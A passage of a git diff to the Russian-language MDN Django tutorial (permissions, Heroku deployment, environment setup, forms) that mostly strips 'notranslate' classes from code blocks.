BookInstanceAdmin(admin.ModelAdmin): list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id') list_filter = ('status', 'due_back') @@ -525,7 +525,7 @@ class BookInstanceAdmin(admin.ModelAdmin): <p>Добавьте следующее в catalog/views.py:</p> -<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): """ @@ -544,7 +544,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Теперь откройте <strong>/catalog/urls.py</strong> и добавьте <code>url()</code> , указывая на приведённое выше представление (вы можете просто скопировать текст ниже в конец файла).</p> -<pre class="brush: python notranslate">urlpatterns += [ +<pre class="brush: python">urlpatterns += [ url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'), ]</pre> @@ -552,7 +552,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Теперь все, что нам нужно сделать для этой страницы, - это добавить шаблон. Сначала создайте файл шаблона <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> и дайте ему следующее содержание:</p> -<pre class="brush: python notranslate">{% extends "base_generic.html" %} +<pre class="brush: python">{% extends "base_generic.html" %} {% block content %} <h1>Borrowed books</h1> @@ -582,7 +582,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Откройте базовый шаблон (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) и добавьте выделенную строку из sidebar, как показано на рисунке.</p> -<pre class="brush: python notranslate"> <ul class="sidebar-nav"> +<pre class="brush: python"> <ul class="sidebar-nav"> {% if user.is_authenticated %} <li>User: \{{ user.get_username }}</li> <strong> <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li></strong> @@ -607,7 +607,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Определение разрешений выполняется в разделе моделей "<code>class Meta</code>" , используется <code>permissions</code> поле. Вы можете указать столько разрешений, сколько необходимо в кортеже, причём каждое разрешение определяется во вложенном кортеже, содержащем имя разрешения и отображаемое значение разрешения. Например, мы можем определить разрешение, позволяющее пользователю отметить, что книга была возвращена, как показано здесь:</p> -<pre class="brush: python notranslate">class BookInstance(models.Model): +<pre class="brush: python">class BookInstance(models.Model): ... class Meta: ... @@ -621,7 +621,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Разрешения текущего пользователя хранятся в переменной шаблона, называемой <code>\{{ perms }}</code>. Вы можете проверить, имеет ли текущий пользователь определённое разрешение, используя конкретное имя переменной в соответствующем приложении «Django» - например, <code>\{{ perms.catalog.can_mark_returned }}</code> будет <code>True</code> если у пользователя есть это разрешение, а <code>False</code> - в противном случае. Обычно мы проверяем разрешение с использованием шаблона <code>{% if %}</code>, как показано в:</p> -<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %} +<pre class="brush: python">{% if perms.catalog.<code>can_mark_returned</code> %} <!-- We can mark a BookInstance as returned. --> <!-- Perhaps add code to link to a "book return" view here. --> {% endif %} @@ -633,7 +633,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Функция в представлении с декоратором:</p> -<pre class="brush: python notranslate">from django.contrib.auth.decorators import permission_required +<pre class="brush: python">from django.contrib.auth.decorators import permission_required @permission_required('catalog.<code>can_mark_returned</code>') @permission_required('catalog.<code>can_edit</code>') @@ -642,7 +642,7 @@ def my_view(request): <p>Требуется разрешение mixin для представлений на основе классов.</p> -<pre class="brush: python notranslate">from django.contrib.auth.mixins import PermissionRequiredMixin +<pre class="brush: python">from django.contrib.auth.mixins import PermissionRequiredMixin class MyView(PermissionRequiredMixin, View): permission_required = 'catalog.<code>can_mark_returned</code>' diff --git a/files/ru/learn/server-side/django/deployment/index.html b/files/ru/learn/server-side/django/deployment/index.html index e3d7b75700..08cdb491fe 100644 --- a/files/ru/learn/server-side/django/deployment/index.html +++ b/files/ru/learn/server-side/django/deployment/index.html @@ -115,7 +115,7 @@ original_slug: Learn/Server-side/Django/Разворачивание <ul> <li><code>DEBUG</code>. При развёртывании сайта должен быть установлен в <code>False</code> (<code>DEBUG = False</code>). Тем самым, прекратится вывод важной отладочной информации.</li> <li><code>SECRET_KEY</code>. Это большое случайное число, применяемое для защиты от CRSF. Важно, чтобы ключ, используемый в продакшене, не указывался в исходном коде, и/или не запрашивался с другого сервера. Django рекомендует размещать значение ключа либо в переменной окружения, или в файле с доступом только на чтение. - <pre class="notranslate"># Чтение SECRET_KEY из переменной окружения + <pre># Чтение SECRET_KEY из переменной окружения import os SECRET_KEY = os.environ['SECRET_KEY'] @@ -131,7 +131,7 @@ with open('/etc/secret_key.txt') as f: <p>Откройте <strong>/locallibrary/settings.py</strong>, закомментируйте исходное значение <code>SECRET_KEY</code> и добавьте новые строки, как указано ниже <strong>жирным</strong>. В течении разработки, никаких переменных окружения определено не было, таким образом будут использоваться значения по умолчанию (не имеет значения какой ключ вы используете в процессе разработки, поскольку при развёртывании проекта вы будете использовать другой).</p> -<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret! +<pre class="brush: python"># SECURITY WARNING: keep the secret key used in production secret! # SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag' <strong>import os</strong> <strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag')</strong> @@ -139,7 +139,7 @@ with open('/etc/secret_key.txt') as f: <p>Затем закомментируйте строку с настройкой <code>DEBUG</code>, а затем, добавьте новую, указанную ниже.</p> -<pre class="brush: python notranslate"># SECURITY WARNING: don't run with debug turned on in production! +<pre class="brush: python"># SECURITY WARNING: don't run with debug turned on in production! # DEBUG = True <strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong> </pre> @@ -152,7 +152,7 @@ with open('/etc/secret_key.txt') as f: <p>Весь перечень настроек для разворачивания вашего сайта находится по ссылке <a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs). Кроме того, вы можете получить список настроек, выполнив в терминале команду:</p> -<pre class="brush: python notranslate">python3 manage.py check --deploy +<pre class="brush: python">python3 manage.py check --deploy </pre> <h2 id="Пример_Установка_LocalLibrary_на_Heroku">Пример: Установка LocalLibrary на Heroku</h2> @@ -247,11 +247,11 @@ with open('/etc/secret_key.txt') as f: <ol> <li>Установите git себе на компьютер (Вы можете найти версию для своей платформы <a href="https://git-scm.com/downloads">здесь</a>).</li> <li>Откройте командную строку (или терминал) и выполните в нём следующую команду, используя ссылку, которую вы получили с github: - <pre class="brush: bash notranslate">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/django_local_library.git + <pre class="brush: bash">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/django_local_library.git </pre> Это создаст подпапку (с содержанием вашего репозитория и именем вашего репозитория) внутри папки, в которой выполнялась команда.</li> <li>Перейдите в эту папку: - <pre class="brush: bash notranslate">cd django_local_library.git</pre> + <pre class="brush: bash">cd django_local_library.git</pre> </li> </ol> @@ -260,7 +260,7 @@ with open('/etc/secret_key.txt') as f: <ol> <li>Скопируйте ваше приложение в папку репозитория (все файлы с таким же уровнем, как у <strong>manage.py,</strong> <u><strong>БЕЗ </strong>папки проекта, в которой эти файлы находятся</u>).</li> <li>Откройте файл с расширением <strong>.gitignore </strong>в текстовом редакторе, вставьте в самый его конец строки, приведённые ниже, а затем сохраните (этот файл "говорит" о файлах, которые не должны быть загружены в git по умолчанию). - <pre class="notranslate"># Text backup files + <pre># Text backup files *.bak #Database @@ -269,10 +269,10 @@ with open('/etc/secret_key.txt') as f: <li> <p>Откройте командную строку или терминал и используйте <code>add</code> команду с флагом <code>-A</code>. Эта команда сохранит изменения в репозиторий:</p> - <pre class="brush: bash notranslate"><code>git add -A</code></pre> + <pre class="brush: bash"><code>git add -A</code></pre> </li> <li>Используйте команду <code>status</code>, что бы убедиться, что все файлы, которые вы собираетесь добавить верны (вы хотите включить исходные файлы, а не бинарные файлы, временные файлы и т. д.). В консоль выведется что то вроде этого: - <pre class="notranslate">> git status + <pre>> git status On branch master Your branch is up-to-date with 'origin/master'. Changes to be committed: @@ -286,10 +286,10 @@ Changes to be committed: new file: templates/registration/password_reset_form.html</pre> </li> <li>Теперь, зафиксируйте файлы в локальном репозитории: - <pre class="brush: bash notranslate">git commit -m "First version of application moved into github"</pre> + <pre class="brush: bash">git commit -m "First version of application moved into github"</pre> </li> <li>Синхронизируете свой локальный репозиторий с сайтом Github: - <pre class="notranslate">git push origin master</pre> + <pre>git push origin master</pre> </li> </ol> @@ -309,7 +309,7 @@ Changes to be committed: <p> Создайте файл с именем <code>Procfile</code> (без расширения) в корне нашего GitHub репозитории объявить типы процессов и точки входа приложения. Скопируйте в него следующий текст:</p> -<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre> +<pre>web: gunicorn locallibrary.wsgi --log-file -</pre> <p>«web:» сообщает Heroku, что это веб динамический и может быть отправлен HTTP-трафик. Процесс, который начнётся в этом динамически, - это gunicorn, который является популярным сервером веб-приложений, который рекомендует Heroku. Мы запускаем Gunicorn, используя конфигурационную информацию в модуле locallibrary.wsgi (созданный с помощью нашего скелета приложения: /locallibrary/wsgi.py).</p> @@ -321,7 +321,7 @@ Changes to be committed: <p>Установка <em>Gunicorn</em> локально в командной строке используя пакетный менеджер <em>pip</em> (которые мы установили когда <a href="/en-US/docs/Learn/Server-side/Django/development_environment">настраивали среду разработки</a>):</p> -<pre class="brush: bash notranslate">pip3 install gunicorn +<pre class="brush: bash">pip3 install gunicorn </pre> <h4 id="Настройка_Базы_Данных">Настройка Базы Данных</h4> @@ -336,14 +336,14 @@ Changes to be committed: <p>Установите dj-database-url локально, чтобы он стал частью наших требований к настройке Heroku на удалённом сервере:</p> -<pre class="notranslate">$ pip3 install dj-database-url +<pre>$ pip3 install dj-database-url </pre> <h5 id="settings.py">settings.py</h5> <p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла:</p> -<pre class="notranslate"># Heroku: Update database configuration from $DATABASE_URL. +<pre># Heroku: Update database configuration from $DATABASE_URL. import dj_database_url db_from_env = dj_database_url.config(conn_max_age=500) DATABASES['default'].update(db_from_env)</pre> @@ -363,7 +363,7 @@ DATABASES['default'].update(db_from_env)</pre> <p>Django будет использовать нашу базу данных SQLite локально по умолчанию, поскольку переменная среды DATABASE_URL не задана в нашей локальной среде. Если вы хотите полностью перейти на Postgres и использовать нашу бесплатную базу данных Heroku для разработки и производства, то вы можете. Например, чтобы установить psycopg2 и его зависимости локально в системе на базе Linux, вы должны использовать следующие команды bash / terminal:</p> -<pre class="brush: bash notranslate"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code> +<pre class="brush: bash"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code> pip3 install psycopg2 </pre> @@ -392,7 +392,7 @@ pip3 install psycopg2 <p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла. BASE_DIR уже должен быть определён в вашем файле (STATIC_URL, возможно, уже был определён в файле, когда он был создан. В то время как это не причинит вреда, вы также можете удалить дублируемую предыдущую ссылку).</p> -<pre class="notranslate"># Static files (CSS, JavaScript, Images) +<pre># Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ # The absolute path to the directory where collectstatic will collect static files for deployment. @@ -419,14 +419,14 @@ STATIC_URL = '/static/' <p>Установите <em>WhiteNoise</em> локально, используя следующую команду:</p> -<pre class="notranslate">$ pip3 install whitenoise +<pre>$ pip3 install whitenoise </pre> <h5 id="settings.py_3">settings.py</h5> <p>Чтобы установить WhiteNoise в приложение Django, откройте /locallibrary/settings.py, найдите параметр MIDDLEWARE и добавьте WhiteNoiseMiddleware в верхней части списка, чуть ниже SecurityMiddleware:</p> -<pre class="notranslate">MIDDLEWARE = [ +<pre>MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong> 'django.contrib.sessions.middleware.SessionMiddleware', @@ -440,7 +440,7 @@ STATIC_URL = '/static/' <p>При желании вы можете уменьшить размер статических файлов при их обслуживании (это более эффективно). Просто добавьте следующее в конец /locallibrary/settings.py:</p> -<pre class="notranslate"># Simplified static file serving. +<pre># Simplified static file serving. # https://warehouse.python.org/project/whitenoise/ STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' </pre> @@ -449,11 +449,11 @@ STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' <p>Требования Python вашего веб-приложения должны храниться в файле requirements.txt в корневом каталоге вашего репозитория. После этого Heroku автоматически установит их при восстановлении вашей среды. Вы можете создать этот файл с помощью pip в командной строке (запустите в корне repo):</p> -<pre class="brush: bash notranslate">pip3 freeze > requirements.txt</pre> +<pre class="brush: bash">pip3 freeze > requirements.txt</pre> <p>После установки всех разных зависимостей выше, файл requirements.txt должен иметь <em>по меньшей мере</em> эти перечисленные элементы (хотя номера версий могут отличаться). Удалите любые другие зависимости, не перечисленные ниже, если вы явно не добавили их для этого приложения.</p> -<pre class="notranslate">dj-database-url==0.4.1 +<pre>dj-database-url==0.4.1 Django==1.10.2 gunicorn==19.6.0 <strong>psycopg2==2.6.2</strong> @@ -468,7 +468,7 @@ whitenoise==3.2.2 <p>Файл <strong>runtime.txt</strong>, если определён, говорит Heroku, какой язык программирования использовать. Создайте файл в корне репо и добавьте следующий текст:</p> -<pre class="notranslate">python-3.5.2</pre> +<pre>python-3.5.2</pre> <div class="note"> <p><strong>Примечание:</strong> Heroku поддерживает только небольшое количество <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python runtimes</a>. (на момент написания статьи, в том числе и выше). Heroku будет использовать поддерживаемую среду выполнения независимо от значения, указанного в этом файле.</p> @@ -478,13 +478,13 @@ whitenoise==3.2.2 <p>Далее мы сохраним все наши изменения в Github. В терминале (whist внутри нашего репозитория) введите следующие команды:</p> -<pre class="brush: python notranslate">git add -A +<pre class="brush: python">git add -A git commit -m "Added files and changes required for deployment to heroku" git push origin master</pre> <p>Прежде чем продолжить, дайте возможность проверить сайт снова локально и убедиться, что это не повлияло ни на одно из наших изменений выше. Запустите веб-сервер разработки как обычно, а затем проверьте, работает ли сайт, как вы ожидаете в своём браузере.</p> -<pre class="brush: bash notranslate">python3 manage.py runserver</pre> +<pre class="brush: bash">python3 manage.py runserver</pre> <p>Теперь мы должны быть готовы начать развёртывание LocalLibrary на Heroku.</p> @@ -506,14 +506,14 @@ git push origin master</pre> <p>После установки клиента вам будут доступны команды. Например, чтобы получить справку о клиенте:</p> -<pre class="brush: bash notranslate">heroku help +<pre class="brush: bash">heroku help </pre> <h3 id="Создание_и_загрузка_веб-сайта">Создание и загрузка веб-сайта</h3> <p>Чтобы создать приложение, мы запускаем команду «create» в корневом каталоге нашего репозитория. Это создаёт git remote («указатель на удалённый репозиторий»), названный heroku в нашей локальной среде git.</p> -<pre class="brush: bash notranslate">heroku create</pre> +<pre class="brush: bash">heroku create</pre> <div class="note"> <p><strong>Примечание:</strong> вы можете назвать удалённый, если хотите, указав значение после «create». Если вы этого не сделаете, вы получите случайное имя. Имя используется в URL-адресе по умолчанию.</p> @@ -521,19 +521,19 @@ git push origin master</pre> <p>Затем мы можем подтолкнуть наше приложение в репозиторий heroku как показано ниже. Это позволит загрузить приложение, упаковать его в dyno, запустить collectstatic, и запустить сам сайт.</p> -<pre class="brush: bash notranslate">git push heroku master</pre> +<pre class="brush: bash">git push heroku master</pre> <p>Если нам повезёт, приложение «заработает» на сайте, но оно не будет работать должным образом, потому что мы не настроили таблицы базы данных для использования нашим приложением. Для этого нам нужно использовать команду <code>heroku run</code> и запустить "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнения операции переноса. Введите в терминал следующую команду:</p> -<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre> +<pre class="brush: bash">heroku run python manage.py migrate</pre> <p>Мы также должны будем иметь возможность добавлять книги и авторов, поэтому давайте также создадим суперпользователя, снова используя одноразовый динамический режим:</p> -<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre> +<pre class="brush: bash">heroku run python manage.py createsuperuser</pre> <p>Как только это будет завершено, мы можем посмотреть сайт. Он должен работать, хотя в нем ещё нет книг. Чтобы открыть браузер на новом веб-сайте, используйте команду:</p> -<pre class="brush: bash notranslate">heroku open</pre> +<pre class="brush: bash">heroku open</pre> <p>Создайте несколько книг на сайте администратора и проверьте, работает ли сайт, как вы ожидаете.</p> @@ -541,7 +541,7 @@ git push origin master</pre> <p>Вы можете проверить дополнения в своём приложении, используя <code>heroku addons</code> команду. Это будет список всех аддонов, их ценовая категория и состояние.</p> -<pre class="brush: bash notranslate">>heroku addons +<pre class="brush: bash">>heroku addons Add-on Plan Price State ───────────────────────────────────────── ───────── ───── ─────── @@ -550,7 +550,7 @@ heroku-postgresql (postgresql-flat-26536) hobby-dev free created <p>Здесь мы видим, что у нас есть только одна надстройка, база данных postgres SQL. Это бесплатно и автоматически создаётся при создании приложения. Вы можете открыть веб-страницу, чтобы более подробно изучить надстройку базы данных (или любое другое дополнение), используя следующую команду:</p> -<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql +<pre class="brush: bash">heroku addons:open heroku-postgresql </pre> <p>Другие команды позволяют создавать, уничтожать, обновлять и понижать аддоны (используя аналогичный синтаксис для открытия). Для получения дополнительной информации см. <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku docs).</p> @@ -559,7 +559,7 @@ heroku-postgresql (postgresql-flat-26536) hobby-dev free created <p>Вы можете проверить конфигурационные переменные для сайта, используя команду <code>heroku config</code>. Ниже вы можете видеть, что у нас есть только одна переменная <code>DATABASE_URL</code> , используемая для настройки нашей базы данных.</p> -<pre class="brush: bash notranslate">>heroku config +<pre class="brush: bash">>heroku config === locallibrary Config Vars DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre> @@ -572,7 +572,7 @@ DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-20 <p>Мы устанавливаем <code>DJANGO_SECRET_KEY</code> используя команду <code>config:set</code> (как показано ниже). Не забудьте использовать свой секретный ключ!</p> -<pre class="brush: bash notranslate">>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&= +<pre class="brush: bash">>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&= Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7 DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh @@ -580,20 +580,20 @@ DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh <p>Аналогично мы устанавливаем <code>DJANGO_DEBUG</code>:</p> -<pre class="brush: bash notranslate">>heroku config:set <code>DJANGO_DEBUG='' +<pre class="brush: bash">>heroku config:set <code>DJANGO_DEBUG='' Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre> <p>Если вы посетите веб-сайт сейчас, вы получите ошибку "Bad request" , потому что в <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> надо внести параметры, если у вас <code>DEBUG=False</code> (в качестве меры безопасности). Откройте <strong>/locallibrary/settings.py</strong> и измените <code>ALLOWED_HOSTS</code> для включения вашего базового URL-адреса приложения (например, 'locallibrary1234.herokuapp.com') URL, который вы обычно используете на локальном сервере разработки.</p> -<pre class="brush: python notranslate">ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1'] +<pre class="brush: python">ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1'] # For example: # ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1'] </pre> <p>Затем сохраните настройки и передайте их в репозиторий Github и в Heroku:</p> -<pre class="brush: bash notranslate">git add -A +<pre class="brush: bash">git add -A git commit -m 'Update ALLOWED_HOSTS with site and development server URL' git push origin master git push heroku master</pre> @@ -606,7 +606,7 @@ git push heroku master</pre> <p>Клиент Heroku предоставляет несколько инструментов для отладки:</p> -<pre class="brush: bash notranslate">heroku logs # Show current logs +<pre class="brush: bash">heroku logs # Show current logs heroku logs --tail # Show current logs and keep updating with any new results heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build) heroku ps #Display dyno status diff --git a/files/ru/learn/server-side/django/development_environment/index.html b/files/ru/learn/server-side/django/development_environment/index.html index 199f16badb..5265e95819 100644 --- a/files/ru/learn/server-side/django/development_environment/index.html +++ b/files/ru/learn/server-side/django/development_environment/index.html @@ -115,19 +115,19 @@ translation_of: Learn/Server-side/Django/development_environment <p>Ubuntu Linux включает в себя Python 3 по умолчанию. Вы можете удостовериться в этом, выполнив следующую команду в терминале:</p> -<pre class="notranslate">python3 -V +<pre>python3 -V Python 3.5.2</pre> <p>Однако, инструмент Python Package Index, при помощи которого вам нужно будет установить пакеты для Python 3 (включая Django), по умолчанию <strong>не установлен</strong>. Вы можете установить pip3 через терминал bash при помощи:</p> -<pre class="notranslate">sudo apt-get install python3-pip +<pre>sudo apt-get install python3-pip </pre> <h3 id="Mac_OS_X">Mac OS X</h3> <p>Mac OS X "El Capitan" не включает Python 3. Вы можете удостовериться в этом, выполнив следующую команду в терминале:</p> -<pre class="notranslate">python3 -V +<pre>python3 -V -bash: python3: command not found</pre> <p>Вы можете легко установить Python 3 (вместе с инструментом <em>pip3</em>) с<a href="https://www.python.org/"> python.org</a>:</p> @@ -144,13 +144,13 @@ translation_of: Learn/Server-side/Django/development_environment <p>Удостовериться в успешной установке вы можете проверкой на наличие <em>Python 3</em>, как показано ниже:</p> -<pre class="notranslate">python3 -V +<pre>python3 -V Python 3.5.20 </pre> <p>Подобным образом вы можете проверить установку <em>pip3</em>, отобразив список доступных пакетов:</p> -<pre class="notranslate">pip3 list</pre> +<pre>pip3 list</pre> <h3 id="Windows_10">Windows 10</h3> @@ -168,13 +168,13 @@ translation_of: Learn/Server-side/Django/development_environment <p>После этого вы сможете подтвердить успешную установку Python путём выполнения следующего текста в командной строке:</p> -<pre class="notranslate">py -3 -V +<pre>py -3 -V Python 3.5.2 </pre> <p>Установщик Windows включает в себя <em>pip3</em> (менеджер пакетов Python) по умолчанию. Вы можете отобразить список установленных пакетов, как показано далее:</p> -<pre class="notranslate">pip list +<pre>pip list </pre> <div class="note"> @@ -193,12 +193,12 @@ translation_of: Learn/Server-side/Django/development_environment <p>Установите инструмент при помощи pip3:</p> -<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code> +<pre><code>sudo pip3 install virtualenvwrapper</code> </pre> <p>Затем добавьте следующие строки в конец файла загрузки программной оболочки (shell) (это скрытый файл в вашей домашней директории с именем <strong>.bashrc</strong>). Они устанавливают расположение виртуальных сред, расположение каталога разрабатываемого проекта и расположение установленного с этим пакетом скрипта.</p> -<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +<pre><code>export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 ' export PROJECT_HOME=$HOME/Devel @@ -207,12 +207,12 @@ source /usr/local/bin/virtualenvwrapper.sh</code> <p>Затем перезагрузите файл загрузки, выполнив в терминале следующую команду:</p> -<pre class="notranslate"><code>source ~/.bashrc</code> +<pre><code>source ~/.bashrc</code> </pre> <p>В этот момент вы должны увидеть запуск группы скриптов, как показано ниже:</p> -<pre class="notranslate"><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +<pre><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject ... virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate @@ -228,12 +228,12 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_detail <p>Установите инструмент при помощи pip3:</p> -<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code> +<pre><code>sudo pip3 install virtualenvwrapper</code> </pre> <p>Затем добавьте следующие строки в конец вашего файла загрузки программной оболочки:</p> -<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +<pre><code>export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 export PROJECT_HOME=$HOME/Devel source /usr/local/bin/virtualenvwrapper.sh</code> @@ -252,7 +252,7 @@ source /usr/local/bin/virtualenvwrapper.sh</code> -<pre class="notranslate"><code>cd ~ # Navigate to my home directory +<pre><code>cd ~ # Navigate to my home directory ls -la #List the content of the directory. You should see .bash_profile nano .bash_profile # Open the file in the nano text editor, within the terminal # Scroll to the end of the file, and copy in the lines above @@ -262,7 +262,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal <p>После этого перезагрузите файл загрузки путём выполнения следующей команды в терминале:</p> -<pre class="notranslate"><code>source ~/.bash_profile</code> +<pre><code>source ~/.bash_profile</code> </pre> <p>В этот момент вы должны увидеть запуск группы скриптов (те же скрипты, что и в случае установки на Ubuntu).</p> @@ -273,7 +273,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal <p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> ещё более проста, чем установка <em>virtualenvwrapper</em>, потому что вам не нужно настраивать расположения сохранения информации о виртуальной среде инструментом (эти значения заданы по умолчанию). Все, что вам нужно сделать, это запустить следующую команду в командной строке:</p> -<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre> +<pre><code>pip3 install virtualenvwrapper-win</code></pre> <p>Теперь вы можете создать новую виртуальную среду при помощи команды <code>mkvirtualen</code>.</p> @@ -283,7 +283,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal <p>Теперь вы можете создать новую виртуальную среду при помощи команды <code>mkvirtualenv</code>. Во время запуска команды вы увидите установку виртуальной среды (конкретные результаты команды очень зависят от платформы). После выполнения команды активируется новая виртуальная среда — заметить это вы можете по тому, что началом ввода будет название виртуальной среды в круглых скобках (как показано ниже).</p> -<pre class="notranslate"><code>$ mkvirtualenv my_django_environment +<pre><code>$ mkvirtualenv my_django_environment Running virtualenv with interpreter /usr/bin/python3 ... virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details (my_django_environment) ubuntu@ubuntu:~$</code></pre> @@ -309,12 +309,12 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get <p>После создания виртуальной среды и вызова <code>workon</code> для входа в неё вы можете использовать <em>pip3 </em>для установки Django. </p> -<pre class="notranslate">pip3 install django +<pre>pip3 install django </pre> <p>Вы можете проверить установку Django, выполнив следующую команду (она просто проверяет, что Python может найти модуль Django):</p> -<pre class="notranslate"># Linux/Mac OS X +<pre># Linux/Mac OS X python3 -m django --version 1.10.10 @@ -335,18 +335,18 @@ py -3 -m django --version <p>Указанная выше проверка работает, но не представляет особого интереса.Более интересная проверка заключается в создании шаблона проекта и проверки его работы. Для её выполнения перейдите в командной строке/терминале в место, где планируете сохранять приложения Django. Создайте папку для теста и перейдите в неё.</p> -<pre class="notranslate">mkdir django_test +<pre>mkdir django_test cd django_test </pre> <p>Затем вы можете создать шаблон сайта "<em>mytestsite</em>" при помощи инструмента <strong>django-admin</strong>. После создания сайта вы можете перейти в папку, где найдёте основной скрипт для управления проектами с именем <strong>manage.py</strong>.</p> -<pre class="notranslate">django-admin startproject mytestsite +<pre>django-admin startproject mytestsite cd mytestsite</pre> <p>Мы можем запустить веб-сервер разработки из этой папки при помощи <strong>manage.py</strong> и команды <code>runserver</code>, как показано ниже.</p> -<pre class="notranslate">$ <strong>python3 manage.py runserver </strong> +<pre>$ <strong>python3 manage.py runserver </strong> Performing system checks... System check identified no issues (0 silenced). diff --git a/files/ru/learn/server-side/django/forms/index.html b/files/ru/learn/server-side/django/forms/index.html index 6652e56297..9b2c9a5ed3 100644 --- a/files/ru/learn/server-side/django/forms/index.html +++ b/files/ru/learn/server-side/django/forms/index.html @@ -50,7 +50,7 @@ translation_of: Learn/Server-side/Django/Forms <p>Форма описывается на языке HTML как набор элементов, расположенных внутри парных тэгов <code><form>...</form></code>. Любая форма содержит как минимум одно поле-тэг <code>input</code> типа <code>type="submit"</code>.</p> -<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> +<pre class="brush: html"><form action="/team_name_url/" method="post"> <label for="team_name">Enter name: </label> <input id="team_name" type="text" name="name_field" value="Default name for team."> <input type="submit" value="OK"> @@ -129,7 +129,7 @@ translation_of: Learn/Server-side/Django/Forms <p>Для того, чтобы создать класс с возможностями базового класса <code>Form</code> мы должны импортировать библиотеку <code>forms</code>, наследовать наш класс от класса <code>Form</code>, а затем объявить поля формы. Таким образом, самый простой класс формы в нашем случае будет иметь вид, показанный ниже:</p> -<pre class="brush: python notranslate">from django import forms +<pre class="brush: python">from django import forms class RenewBookForm(forms.Form): 